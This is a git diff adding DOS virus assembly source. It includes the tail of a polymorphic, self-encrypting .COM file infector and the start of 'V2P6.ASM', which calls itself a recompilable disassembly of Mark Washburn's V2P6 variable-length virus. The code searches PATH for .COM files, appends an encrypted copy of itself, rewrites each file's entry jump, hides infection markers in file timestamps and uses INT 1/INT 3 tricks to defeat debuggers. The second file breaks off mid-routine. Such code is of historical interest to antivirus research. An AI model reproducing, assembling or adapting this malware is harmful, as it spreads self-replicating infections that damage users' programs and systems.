+ENDIF + endm +; +; +start: + jmp entry +; +; +; + MOV AH,0 + INT 021h ; program code +; db 600h-6 dup (0) +; insert utility code here +; +entry: +; space for decode routine +IFDEF stopdebug + call precrypt + db 36 dup (090h) ; calculated length of offset(t41-t10) +ELSE + db 39 dup (090h) ; calculated length of offset(t41-t10) +ENDIF +; +; label the start of encoded section +entry2: + mov bp,sp ; allocate locals + sub sp,local_stack +; + push cx +movcmd: ; this label is used to locate the next instruction + mov dx,offset data_begin + setloc ptr2,dx ; save - will be modified in 'gencode' +IFDEF stopdebug +; +; save interrupt 1 and 3 vectors +; + push ds + mov ax,0 + push ax + pop ds + cli + mov ax,ds:[int1vec] + setloc oldint1,ax + mov ax,ds:[int1vec+2] + setloc oldint1+2,ax + mov ax,ds:[int3vec] + setloc oldint3,ax + mov ax,ds:[int3vec+2] + setloc oldint3+2,ax + sti + pop ds +; + call bugon +ENDIF + mov si,dx + add si,(offset old_code - offset data_begin) + mov di,0100h + mov cx,03h + cld + repz movsb + mov si,dx + doscall 30h ; check DOS version + cmp al,0 + NOBUG1 ; 0 + jnz cont1 ; DOS > 2.0 + jmp exit +cont1: + push es + doscall 2fh ; get program DTA + NOBUG1 ; 0 + setloc dta_ptr,bx + NOBUG1 ; 0 + setloc dta_ptr+2,es + pop es + regofs dx,my_dta + doscall 1ah ; set new DTA + push es + push si + mov es,ds:[02ch] ; environment address + mov di,0 +loop1: + pop si + push si + add si,(offset path_chars - offset data_begin) + lodsb + mov cx,8000h + repnz scasb + mov cx,4 +loop2: + lodsb + scasb + jnz loop1 + loop loop2 + pop si + pop es + setloc path_start_ptr,di + mov bx,si + add si,offset (file_name-data_begin) + mov di,si + jmp cont6 + nobug2 +next_path: + cmp word ptr [bp + path_start_ptr],0 + jnz cont3 + jmp exit2 + nobug2 +cont3: + push ds + push si + mov ds,es:[002ch] + + mov di,si + mov si,es:[bp+path_start_ptr] + add di,offset (file_name-data_begin) +loop3: + lodsb + cmp al,';' ; 3bh + jz cont4 + cmp al,0 + jz cont5 + stosb + jmp loop3 + nobug2 +cont5: + mov si,0 +cont4: + pop bx + pop ds + mov [bp+path_start_ptr],si + cmp ch,0ffh + jz cont6 + mov al,'\' ; 5ch + stosb +cont6: + mov [bp+file_start_ptr],di + mov si,bx + add si,(offset com_search-offset data_begin) + mov cx,6 + repz movsb + mov si,bx + mov ah,04eh + regofs dx,file_name + mov cx,3 + doscall + jmp cont7 + nobug2 +next_file: + doscall 04fh +cont7: + jnb cont8 + jmp next_path + nobug2 +cont8: + mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte + and al,01fh + cmp al,01fh + jz next_file +IFNDEF stopdebug + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h + ; file length compared; need 1.5 k spare, see rnd off +ELSE + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h +ENDIF + jz next_file ; with virus length + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah + ; file to short + jz next_file + mov di,[bp+file_start_ptr] + push si + add si,offset(my_dta-data_begin+01eh) +move_name: + lodsb + stosb + cmp al,0 + jnz move_name + pop si + mov ax,04300h + regofs dx,file_name + doscall + setloc file_attr,cx + mov ax,04301h + and cx,0fffeh + regofs dx,file_name + doscall + mov ax,03d02h + regofs dx,file_name + doscall + jnb cont9 + jmp exit3 + nobug2 +cont9: + mov bx,ax + mov ax,05700h + doscall + setloc file_crea,cx + setloc file_crea+2,dx +cont10: + mov ah,3fh + mov cx,3 + regofs dx,old_code + doscall + NOBUG1 ; 1 + jb cont98 + NOBUG1 + cmp ax,3 + NOBUG1 + jnz cont98 + NOBUG1 + mov ax,04202h + NOBUG1 ;1 + mov cx,0 + mov dx,0 + doscall + jnb cont99 +cont98: + jmp exit4 +cont99: + NOBUG1 ; 2 + push bx ; save file handle + NOBUG1 + mov cx,ax + push cx + NOBUG1 + sub ax,3 + NOBUG1 + setdat jump_code+1,ax + add cx,(offset data_begin-offset entry+0100h) + NOBUG1 + mov di,si + NOBUG1 + sub di,offset data_begin-offset movcmd-1 + NOBUG1 + mov [di],cx +; + doscall 02ch ; seed the random number generator + xor dx,cx + NOBUG1 + setloc rand_seed,dx + NOBUG1 ; 2 + call random + NOBUG1 ; 3 + getloc ax,rand_seed + NOBUG1 ; 3 + and ax,max_msk ; add a random offset to actual length + NOBUG1 ; 3 + add ax,offset (data_end-entry2) ; set decode length + NOBUG1 ; 3 + setloc dat2,ax ; save the decode length + NOBUG1 ; 3 + setdat (t13+1),ax ; set decode length in 'mov cx,xxxx' + pop cx ; restore the code length of file to be infected + NOBUG1 ; 3 + add cx,offset (entry2-entry+0100h) ; add the length + ; of uncoded area plus file offset + setdat (t11+1),cx ; set decode begin in 'mov di,xxxx' + NOBUG1 ; 3 + call random + getloc ax,rand_seed + NOBUG1 ; 3 + setloc dat1,ax ; save this random key in dat1 + setdat (t12+1),ax ; set random key in 'mov ax,xxxx' + NOBUG1 ; 3 + mov di,si + NOBUG1 ; 3 + sub di,offset (data_begin-entry) + NOBUG1 ; 3 + mov bx,si + add bx,offset (l11-data_begin) ; table L11 address + mov word ptr [bp+dat3],000000111b ; required routines + call gen2 ; generate first part of decrypt + setloc ptr1,di ; save the current counter to resolve 'loop' + add bx,offset (l21-l11) ; add then next tables' offset + NOBUG1 ; 3 + mov word ptr [bp+dat3],010000011b ; required plus 'nop' + NOBUG1 ; 3 + call gen2 ; generate second part of decrypt + add bx,offset (l31-l21) ; add the next offset + NOBUG1 + call gen2 ; generate third part of decrypt + mov cx,2 ; store the loop code + getloc si,ptr2 + NOBUG1 ; 3 + add si,offset (t40-t10) ; point to the code + repz movsb ; move the code + getloc ax,ptr1 ; the loop address pointer + sub ax,di ; the current address + dec di ; point to the jump address + stosb ; resolve the jump +; fill in the remaining code +l991: + getloc cx,ptr2 ; get the data_begin pointer + sub cx,offset (data_begin-entry2) ; locate last+1 entry + cmp cx,di ; are we there yet? + je l992 ; if not then fill some more space + mov dx,0h ; any code is ok + call gencode ; generate the code + jmp l991 + nobug2 +l992: + getloc si,ptr2 ; restore si to point to data area ; + push si + mov di,si + NOBUG1 ; 4 + mov cx,offset(end1-begin1) ; move code + add si,offset(begin1-data_begin) + NOBUG1 ; 4 + add di,offset(data_end-data_begin+max_msk) ; add max_msk + mov dx,di ; set subroutine start + repz movsb ; move the code + pop si + pop bx ; restore handle + call setrtn ; find this address + add ax,06h ; <- the number necessary for proper return + push ax + jmp dx ; continue with mask & write code +; continue here after return from mask & write code + NOBUG1 ; 4 + jb exit4 + cmp ax,offset(data_end-entry) + NOBUG1 ; 4 + jnz exit4 + mov ax,04200h + mov cx,0 + mov dx,0 + doscall + jb exit4 + mov ah,040h + mov cx,3 + NOBUG1 ; 4 + regofs dx,jump_code + doscall +exit4: + getloc dx,file_crea+2 + getloc cx,file_crea + and cx,0ffe0h + or cx,0001fh + mov ax,05701h + doscall + doscall 03Eh ; close file +exit3: + mov ax,04301h + getloc cx,file_attr + regofs dx,file_name + doscall +exit2: + push ds + getloc dx,dta_ptr + getloc ds,dta_ptr+2 + doscall 01ah + pop ds +exit: + pop cx + xor ax,ax + xor bx,bx + xor dx,dx + xor si,si + mov sp,bp ; deallocate locals + mov di,0100h + push di + CALL BUGOFF + ret +; +; common subroutines +; +; +random proc near +; + getloc cx,rand_seed ; get the seed + xor cx,813Ch ; xor random pattern + add cx,9248h ; add random pattern + ror cx,1 ; rotate + ror cx,1 ; three + ror cx,1 ; times. + setloc rand_seed,cx ; put it back + and cx,7 ; ONLY NEED LOWER 3 BITS + push cx + inc cx + xor ax,ax + stc + rcl ax,cl + pop cx + ret ; return +; +random endp +; +setrtn proc near +; + pop ax ; ret near + push ax + ret +; +setrtn endp +; +gencode proc near +; +l999: + call random + test dx,ax ; has this code been used yet? + jnz l999 ; if this code was generated - try again + or dx,ax ; set the code as used in dx + mov ax,cx ; the look-up index + sal ax,1 + push ax + xlat + mov cx,ax ; the count of instructions + pop ax + inc ax + xlat + add ax,[bp+ptr2] ; ax = address of code to be moved + mov si,ax + repz movsb ; move the code into place + ret +; +gencode endp +; +gen2 proc near +; + mov dx,0h ; used code +l990: + call gencode + mov ax,dx ; do we need more code + and ax,[bp+dat3] ; the mask for the required code + cmp ax,[bp+dat3] + jne l990 ; if still need required code - loop again + ret +; +gen2 endp +; +IFDEF stopdebug +doint3: + push bx + mov bx,sp + push ax + push si + mov si,word ptr [bx+02] + inc word ptr [bx+02] ; point to next address + setloc nobugptr,si + lodsb ; get the byte following int 3 + xor byte ptr [si],al + mov al,[bx+7] ; set the trap flag + or al,1 + mov [bx+7],al + pop si + pop ax + pop bx + iret +; +doint1: + push bx + mov bx,sp + push ax + push si + getloc si,nobugptr + lodsb + xor byte ptr [si],al + mov al,[bx+7] ; clear the trap flag + and al,0feh + mov [bx+7],al + pop si + pop ax + pop bx +bugiret: + iret +; +bugon: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + getloc ax,ptr2 + sub ax,offset(data_begin-doint3) + cli + mov ds:[int3vec],ax + getloc ax,ptr2 + sub ax,offset(data_begin-doint1) + mov ds:[int1vec],ax + push cs + pop ax + mov ds:[int1vec+2],ax + mov ds:[int3vec+2],ax + sti + pop ax + pop ds + popf + ret +; +bugoff: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + + getloc ax,oldint3 + cli + mov ds:[int3vec],ax + getloc ax,oldint1 + mov ds:[int1vec],ax + getloc ax,oldint1+2 + mov ds:[int1vec+2],ax + getloc ax,oldint3+2 + mov ds:[int3vec+2],ax + sti + + pop ax + pop ds + popf + ret +; +ENDIF +; +; +; the data area +; +data_begin label near +; +T10 LABEL NEAR +T11: MOV DI,0FFFFH +T12: MOV AX,0FFFFH +T13: MOV CX,0FFFFH +T14: CLC +T15: CLD +T16: INC SI +T17: DEC BX +T18: NOP +T19 LABEL NEAR +; +T20 LABEL NEAR +T21: XOR [DI],AX +T22: XOR [DI],CX +T23: XOR DX,CX +T24: XOR BX,CX +T25: SUB BX,AX +T26: SUB BX,CX +T27: SUB BX,DX +T28: NOP +T29 LABEL NEAR +; +T30 LABEL NEAR +T31: INC AX +T32: INC DI +T33: INC BX +T34: INC SI +T35: INC DX +T36: CLC +T37: DEC BX +T38: NOP +T39 LABEL NEAR +; +T40: LOOP T20 +T41 LABEL NEAR +; +L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin) +L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin) +L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin) +L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin) +L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin) +L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin) +L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin) +L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin) +; +L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin) +L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin) +L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin) +L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin) +L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin) +L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin) +L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin) +L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin) +; +L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin) +L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin) +L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin) +L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin) +L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin) +L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin) +L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin) +L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin) +; +; +; +; this routine is relocated after the end of data area +; this routine encrypts, writes, and decrypts the virus code +; +begin1: + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 ; get decode ket + mov di,si ; and set the begin encrypt address + sub di,offset (data_begin-entry2) + call crypt + mov ah,040h + mov cx,offset data_end-offset entry + mov dx,si + sub dx,offset data_begin-offset entry + doscall + pushf ; save the status of the write + push ax + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 + mov di,si + sub di,offset (data_begin-entry2) + call crypt + pop ax ; restore the DOS write's status + popf + ret +; +crypt: + xor [di],ax + xor [di],cx + inc ax + inc di + loop crypt + ret +end1: +; +; global work space and constants +; +old_code: db 090h,090h,090h +jump_code: db 0e9h,0,0 +com_search: db '*.COM',0 +path_chars: db 'PATH=' +file_name: db 40h DUP (0) +my_dta: db 2Bh DUP (0) + db 0,0,0 + +data_end label near +IFDEF stopdebug +; +scan_bytes db 0CCh,090h +; +precrypt: + mov bp,sp ; allocate locals + sub sp,local_stack + doscall 02ch ; seed the random number generator + xor dx,cx + setloc rand_seed,dx + call random + mov di,offset start + push ds + pop es +lp999: + mov cx,08000h + mov si,offset scan_bytes + lodsb + repnz scasb + cmp cx,0 + je done998 + cmp di,offset data_end + jge done998 + lodsb + scasb + jnz lp999 + call random + getloc ax,rand_seed + dec di + mov [di],al + inc di + xor [di],al + inc di ; skip the masked byte + jmp short lp999 +done998: + mov sp,bp + ret +ENDIF + +code ends + end start + \ No newline at end of file diff --git a/v/V2P6.ASM b/v/V2P6.ASM new file mode 100755 index 0000000..ecdbaec --- /dev/null +++ b/v/V2P6.ASM @@ -0,0 +1,1099 @@ + + ;********************************************** + ; * + ; V2P6.ASM * + ; a * + ; recompilable disassembly * + ; of * + ; Mark Washburn's V2P6 * + ; self-encrypting, * + ; variable-length * + ; virus * + ; - * + ; WRITTEN FOR REASSEMBLY * + ; WITH MICROSOFT MASM ASSEMBLER. * + ; * + ; * + ; 1) The V2P6 uses a "sliding-window" * + ; encryption technique that relies on * + ; Interrupts One and Three. The * + ; "INSERT_ENCRYPTION_TECHNIQUES" call * + ; inserts the appropriate code for * + ; this task. * + ; * + ; 2) Occasionally, NOPS and Interrupt 3 * + ; calls are used as "false code" that * + ; is designed to confuse those who * + ; attempt to disassemble the virus. * + ; THEY are not true INT 3 or NOP * + ; instructions. These attempts are * + ; clearly labeled as such. * + ; * + ;********************************************** + +CODE_SEG SEGMENT +ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG +ORG 0100H +V2P6 PROC NEAR + +THE_BEGINNING: + JMP SHORT DEGARBLER + + DB " V2P6.ASM " + +DEGARBLER: + CALL INSERT_ENCRYPTION_TECHNIQUES + DB 36 DUP (090H) + +;========== Body encryption takes place from here down =========== + +START: + MOV BP,SP + SUB SP,029H + PUSH CX + MOV DX,OFFSET VARIABLE_CODE + MOV WORD PTR[BP-014H],DX + CLI + CLD + +STORE_INTERRUPT_ADDRESSES: + PUSH DS + MOV AX,0 + PUSH AX + POP DS + CLI + MOV AX,DS:WORD PTR[4] + MOV WORD PTR[BP-028H],AX + MOV AX,DS:WORD PTR[6] + MOV WORD PTR[BP-026H],AX + MOV AX,DS:WORD PTR[0CH] + MOV WORD PTR[BP-024H],AX + MOV AX,DS:WORD PTR[0EH] + MOV WORD PTR[BP-022H],AX + STI + POP DS + +REPLACE_INTERRUPT_ADDRESSES: + CALL REPLACE_ONE_AND_THREE + MOV SI,DX + ADD SI,0E4H + MOV DI,0100H + MOV CX,3 + CLD + REP MOVSB + +CHECK_DOS_VERSION: + MOV SI,DX + MOV AH,030H + INT 021H + CMP AL,0 + NOP ;Breakpoint Encryption. + NOP + JNE STORE_THE_DTA + JMP EXIT + +STORE_THE_DTA: + PUSH ES + MOV AH,02FH + INT 021H + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[BP-4],BX + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[BP-2],ES + POP ES + +SET_NEW_DTA: + MOV DX,SI + ADD DX,0135H + MOV AH,01AH + INT 021H + PUSH ES + PUSH SI + MOV ES,DS:WORD PTR[02CH] + MOV DI,0H + +FIND_ENVIRONMENT: + POP SI + PUSH SI + ADD SI,0F0H + LODSB + MOV CX,08000H + REPNE SCASB + MOV CX,4H + LOOOPER: + LODSB + SCASB + JNE FIND_ENVIRONMENT + LOOP LOOOPER + POP SI + POP ES + MOV WORD PTR[BP-0CH],DI + MOV BX,SI + ADD SI,0F5H + MOV DI,SI + JMP SHORT COPY_FILE_SPEC_TO_WORK_AREA + + NOP + INT 3 ;False code. + +NO_FILE_FOUND: + CMP WORD PTR[BP-0CH],0 + JNE FOLLOW_THE_PATH + JMP RESTORE_DTA + + INT 3 ;False code. + +FOLLOW_THE_PATH: + PUSH DS + PUSH SI + MOV DS,ES:WORD PTR[02CH] + MOV DI,SI + MOV SI,ES:WORD PTR[BP-0CH] + ADD DI,0F5H + +UP_TO_LODSB: + LODSB + CMP AL,03BH + JE SEARCH_AGAIN + CMP AL,0 + JE CLEAR_SI + STOSB + JMP SHORT UP_TO_LODSB + + INT 3 ;False code. + +CLEAR_SI: + MOV SI,0 + +SEARCH_AGAIN: + POP BX + POP DS + MOV WORD PTR[BP-0CH],SI + CMP CH,0FFH + JE COPY_FILE_SPEC_TO_WORK_AREA + MOV AL,05CH + STOSB + +COPY_FILE_SPEC_TO_WORK_AREA: + MOV WORD PTR[BP-0EH],DI + MOV SI,BX + ADD SI,0EAH + MOV CX,6 + REP MOVSB + MOV SI,BX + MOV AH,04EH + MOV DX,SI + ADD DX,0F5H + MOV CX,3 + INT 021H + JMP SHORT CHECK_CARRY_FLAG + + NOP ;False code. + INT 3 + +FIND_NEXT_FILE: + MOV AH,04FH + INT 021H + +CHECK_CARRY_FLAG: + JAE FILE_FOUND + JMP SHORT NO_FILE_FOUND + + INT 3 ;False code. + +FILE_FOUND: + MOV AX,WORD PTR[SI+014BH] + AND AL,01FH + CMP AL,01FH + JE FIND_NEXT_FILE + CMP WORD PTR[SI+014FH],0F902H + JE FIND_NEXT_FILE + CMP WORD PTR[SI+014FH],0AH + JE FIND_NEXT_FILE + MOV DI,WORD PTR[BP-0EH] + PUSH SI + ADD SI,0153H + +MOVE_ASCII_FILENAME: + LODSB + STOSB + CMP AL,0 + JNE MOVE_ASCII_FILENAME + POP SI + +GET_FILE_ATTRIBUTE: + MOV AX,04300H + MOV DX,SI + ADD DX,0F5H + INT 021H + +STORE_FILE_ATTRIBUTE: + MOV WORD PTR[BP-0AH],CX + +CLEAR_FILE_ATTRIBUTE: + MOV AX,04301H + AND CX,-2 + MOV DX,SI + ADD DX,0F5H + INT 021H + +OPEN_FILE: + MOV AX,03D02H + MOV DX,SI + ADD DX,0F5H + INT 021H + JAE GET_DATE_AND_TIME + JMP SET_THE_ATTRIBUTE + + INT 3 ;False code. + +GET_DATE_AND_TIME: + MOV BX,AX + MOV AX,05700H + INT 021H + +STORE_DATE_AND_TIME: + MOV WORD PTR[BP-8],CX + MOV WORD PTR[BP-6],DX + +READ_FIRST_THREE_BYTES: + MOV AH,03FH + MOV CX,3 + MOV DX,SI + ADD DX,0E4H + INT 021H + NOP ;Breakpoint Encryption. + NOP + JB ERROR_OCCURRED + NOP ;Breakpoint Encryption. + NOP + CMP AX,3 + NOP ;Breakpoint Encryption. + NOP + JNE ERROR_OCCURRED + NOP ;Breakpoint Encryption. + NOP + +GET_FILE_LENGTH: + MOV AX,04202H + NOP ;Breakpoint Encryption. + NOP + MOV CX,0 + MOV DX,0 + INT 021H + JAE AT_END_OF_FILE + +ERROR_OCCURRED: + JMP SET_DATE_AND_CLOSE_FILE + +AT_END_OF_FILE: + NOP ;Breakpoint Encryption. + NOP + PUSH BX + NOP ;Breakpoint Encryption. + NOP + MOV CX,AX + PUSH CX + NOP ;Breakpoint Encryption. + NOP + SUB AX,3 + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[SI+0E8H],AX + ADD CX,06CDH + NOP ;Breakpoint Encryption. + NOP + MOV DI,SI + NOP ;Breakpoint Encryption. + NOP + SUB DI,059FH + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[DI],CX + MOV AH,02CH + INT 021H + XOR DX,CX + NOP ;Breakpoint Encryption. + NOP + MOV CX,WORD PTR[SI+0E2H] + NOP ;Breakpoint Encryption. + NOP + XOR CX,DX + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[SI+0E2H],DX + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[BP-01EH],DX + +CREATE_THE_DEGARBLER: + CALL DEGARB_CALL_THREE + MOV AL,BYTE PTR[BP-01EH] + AND AL,3 + CMP AL,3 + JE CREATE_THE_DEGARBLER + PUSH AX + ROR AL,1 + NOP ;Breakpoint Encryption. + NOP + ROR AL,1 + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[SI+O10H],AL + POP AX + ADD AL,2 + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[SI+O3CH],AL + +CREATE_DEGARBLER_PART_TWO: + CALL DEGARB_CALL_THREE + MOV AL,BYTE PTR[BP-01EH] + AND AL,7 + CMP AL,6 + JA CREATE_DEGARBLER_PART_TWO + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-01BH],AL + PUSH AX + NOP ;Breakpoint Encryption. + NOP + XOR AH,AH + SHL AX,1 + NOP ;Breakpoint Encryption. + NOP + INC AX + NOP ;Breakpoint Encryption. + NOP + MOV BX,SI + ADD BX,[O5CH] + ADD BX,AX + NOP ;Breakpoint Encryption. + NOP + MOV DL,BYTE PTR[BX] + POP AX + NOP ;Breakpoint Encryption. + NOP + CMP AL,3 + JA CREATE_DEGARBLER_PART_FOUR + +CREATE_DEGARBLER_PART_THREE: + CALL DEGARB_CALL_THREE + AND AL,DL + JE CREATE_DEGARBLER_PART_THREE + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-01CH],AL + NOP ;Breakpoint Encryption. + NOP + PUSH AX + MOV BL,AL + NOP ;Breakpoint Encryption. + NOP + NOT BL + AND DL,BL + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_TWO + MOV AL,DL + NOP ;Breakpoint Encryption. + NOP + XOR DH,DH + SHL DX,1 + NOP ;Breakpoint Encryption. + NOP + MOV BX,SI + ADD BX,[O24H] + ADD BX,DX + NOP ;Breakpoint Encryption. + NOP + MOV BX,WORD PTR[BX] + MOV WORD PTR[SI+ODH],BX + NOP ;Breakpoint Encryption. + NOP + MOV BL,080H + MOV BYTE PTR[BP-010H],BL + NOP ;Breakpoint Encryption. + NOP + POP DX + CALL DEGARB_CALL_TWO + NOP ;Breakpoint Encryption. + NOP + MOV DH,DL + NOP ;Breakpoint Encryption. + NOP + MOV DL,AL + JMP SHORT CREATE_DEGARBLER_PART_FIVE + +CREATE_DEGARBLER_PART_FOUR: + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-01CH],DL + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_TWO + NOP ;Breakpoint Encryption. + NOP + MOV DH,DL + NOP ;Breakpoint Encryption. + NOP + REAL_NOPS: + MOV BX,09090H + MOV WORD PTR[SI+ODH],BX + NOP ;Breakpoint Encryption. + NOP + XOR DL,DL + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-010H],DL + MOV DL,0FFH + +CREATE_DEGARBLER_PART_FIVE: + CALL DEGARB_CALL_THREE + MOV AL,BYTE PTR[BP-01EH] + AND AL,0FH + CMP AL,0CH + JA CREATE_DEGARBLER_PART_FIVE + CMP AL,DH + JE CREATE_DEGARBLER_PART_FIVE + CMP AL,DL + JE CREATE_DEGARBLER_PART_FIVE + MOV BYTE PTR[BP-0FH],AL + XOR AH,AH + SHL AX,1 + SHL AX,1 + MOV BX,SI + ADD BX,[O6AH] + ADD BX,AX + MOV CL,BYTE PTR[BX] + MOV AL,031H + TEST CL,8 + JNE OVER_ONE + MOV AL,030H + OVER_ONE: + MOV BYTE PTR[SI+0DBH],AL + MOV BYTE PTR[SI+OFH],AL + MOV AL,5 + TEST CL,8 + JNE OVER_SEVERAL + TEST CL,4 + JE OVER_SEVERAL + MOV AL,025H + OVER_SEVERAL: + MOV BYTE PTR[SI+0DCH],AL + MOV AL,BYTE PTR[SI+O10H] + AND CL,7 + XOR CH,CH + SHL CX,1 + SHL CX,1 + SHL CX,1 + OR AL,CL + MOV CL,BYTE PTR[BP-01BH] + SHL CX,1 + MOV BX,SI + ADD BX,[O5CH] + ADD BX,CX + MOV CL,BYTE PTR[BX] + OR AL,CL + MOV BYTE PTR[SI+O10H],AL + MOV BX,SI + ADD BX,[O6AH] + XOR CL,CL + MOV BYTE PTR[BP-01BH],CL + MOV AL,BYTE PTR[BP-0FH] + CMP AL,9 + JA THREE_ADJUSTMENTS + XOR AH,AH + SHL AX,1 + SHL AX,1 + ADD BX,AX + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+O1BH],AL + INC BX + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+O6],AL + MOV BX,SI + ADD BX,[O6AH] + JMP SHORT NO_ADJUSTMENT + + INT 3 ;False code. + +THREE_ADJUSTMENTS: + MOV CL,0FFH + MOV BYTE PTR[BP-01BH],CL + MOV CL,090H + MOV BYTE PTR[SI+O1BH],CL + MOV CL,0B8H + MOV BYTE PTR[SI+O6],CL + +NO_ADJUSTMENT: + MOV DL,BYTE PTR[BP-01CH] + CALL DEGARB_CALL_TWO + XOR DH,DH + SHL DX,1 + SHL DX,1 + ADD BX,DX + INC BX + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+O1AH],AL + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+ZERO],AL + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_THREE + NOP ;Breakpoint Encryption. + NOP + MOV AX,WORD PTR[BP-01EH] + AND AX,0FFH + ADD AX,0709H + MOV WORD PTR[BP-018H],AX + MOV WORD PTR[SI+O4],AX + POP CX + ADD CX,0127H + MOV WORD PTR[SI+O1],CX + MOV CL,BYTE PTR[BP-01BH] + OR CL,CL + JNE CREATE_DEGARBLER_PART_SIX + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_THREE + MOV AX,WORD PTR[BP-01EH] + MOV WORD PTR[SI+O7],AX + +CREATE_DEGARBLER_PART_SIX: + MOV WORD PTR[BP-016H],AX + MOV DI,SI + SUB DI,05CDH + NOP ;Breakpoint Encryption. + NOP + MOV AX,3 + MOV CL,BYTE PTR[BP-010H] + OR AL,CL + MOV CL,BYTE PTR[BP-01BH] + OR CL,CL + JNE OVER_OR + OR AX,4 + OVER_OR: + MOV BX,SI + ADD BX,[O2CH] + MOV WORD PTR[BP-01AH],AX + CALL DEGARB_CALL_FIVE + MOV WORD PTR[BP-012H],DI +REAL_NOP: + ADD BX,[OO10H] + NOP ;Breakpoint Encryption. + NOP + MOV AX,1 + CALL DEGARB_CALL_ONE + MOV WORD PTR[BP-01AH],AX + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_FIVE + ADD BX,[OO10H] + MOV AX,1 + MOV CL,BYTE PTR[BP-01BH] + OR CL,CL + JNE OVER_THE_OR + OR AX,2 + OVER_THE_OR: + CALL DEGARB_CALL_ONE + MOV WORD PTR[BP-01AH],AX + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_FIVE + MOV CX,2 + MOV SI,WORD PTR[BP-014H] + NOP ;Breakpoint Encryption. + NOP + ADD SI,[O22H] + REP MOVSB + MOV AX,WORD PTR[BP-012H] + SUB AX,DI + DEC DI + STOSB + +LAST_STEP: + MOV CX,WORD PTR[BP-014H] + SUB CX,05A6H + CMP CX,DI + JE COPY_ENC_AND_WRITE_TO_MEMORY + MOV DX,0 + CALL DEGARB_CALL_FOUR + JMP SHORT LAST_STEP + + INT 3 ;False code. + +COPY_ENC_AND_WRITE_TO_MEMORY: + MOV SI,WORD PTR[BP-014H] + PUSH SI + MOV DI,SI + NOP ;Breakpoint Encryption. + NOP + MOV CX,044H + ADD SI,09EH + NOP ;Breakpoint Encryption. + NOP + ADD DI,0262H + MOV DX,DI + REP MOVSB + POP SI + POP BX + CALL GET_OFFSET + ADD AX,6 + PUSH AX + JMP DX + +WRITE_NEW_JUMP: + NOP ;Breakpoint Encryption. + NOP + JB SET_DATE_AND_CLOSE_FILE + MOV AX,04200H + MOV CX,0 + MOV DX,0 + INT 021H + JB SET_DATE_AND_CLOSE_FILE + MOV AH,040H + MOV CX,3 + NOP ;Breakpoint Encryption. + NOP + MOV DX,SI + ADD DX,0E7H + INT 021H + +SET_DATE_AND_CLOSE_FILE: + MOV DX,WORD PTR[BP-6] + MOV CX,WORD PTR[BP-8] + AND CX,-020H + OR CX,01FH + MOV AX,05701H + INT 021H + MOV AH,03EH + INT 021H + +SET_THE_ATTRIBUTE: + MOV AX,04301H + MOV CX,WORD PTR[BP-0AH] + MOV DX,SI + ADD DX,0F5H + INT 021H + +RESTORE_DTA: + PUSH DS + MOV DX,WORD PTR[BP-4] + MOV DS,WORD PTR[BP-2] + MOV AH,01AH + INT 021H + POP DS + +EXIT: + POP CX + MOV SP,BP + MOV DI,0100H + PUSH DI + XOR AX,AX + XOR BX,BX + XOR CX,CX + XOR DX,DX + XOR SI,SI + XOR BP,BP + XOR DI,DI + JMP RESTORE_ONE_AND_THREE + + ;========= Calls used to create the Degarbler =========== + +DEGARB_CALL_ONE: + PUSH AX + CALL DEGARB_CALL_THREE + MOV CL,AL + MOV CH,BYTE PTR[BP-01EH] + POP AX + CMP CH,080H + JA TO_RET + XOR CH,CH + OR AX,CX +TO_RET: + RET + +DEGARB_CALL_TWO: + PUSH AX + MOV AL,0 + UP_TO_SHIFT: + 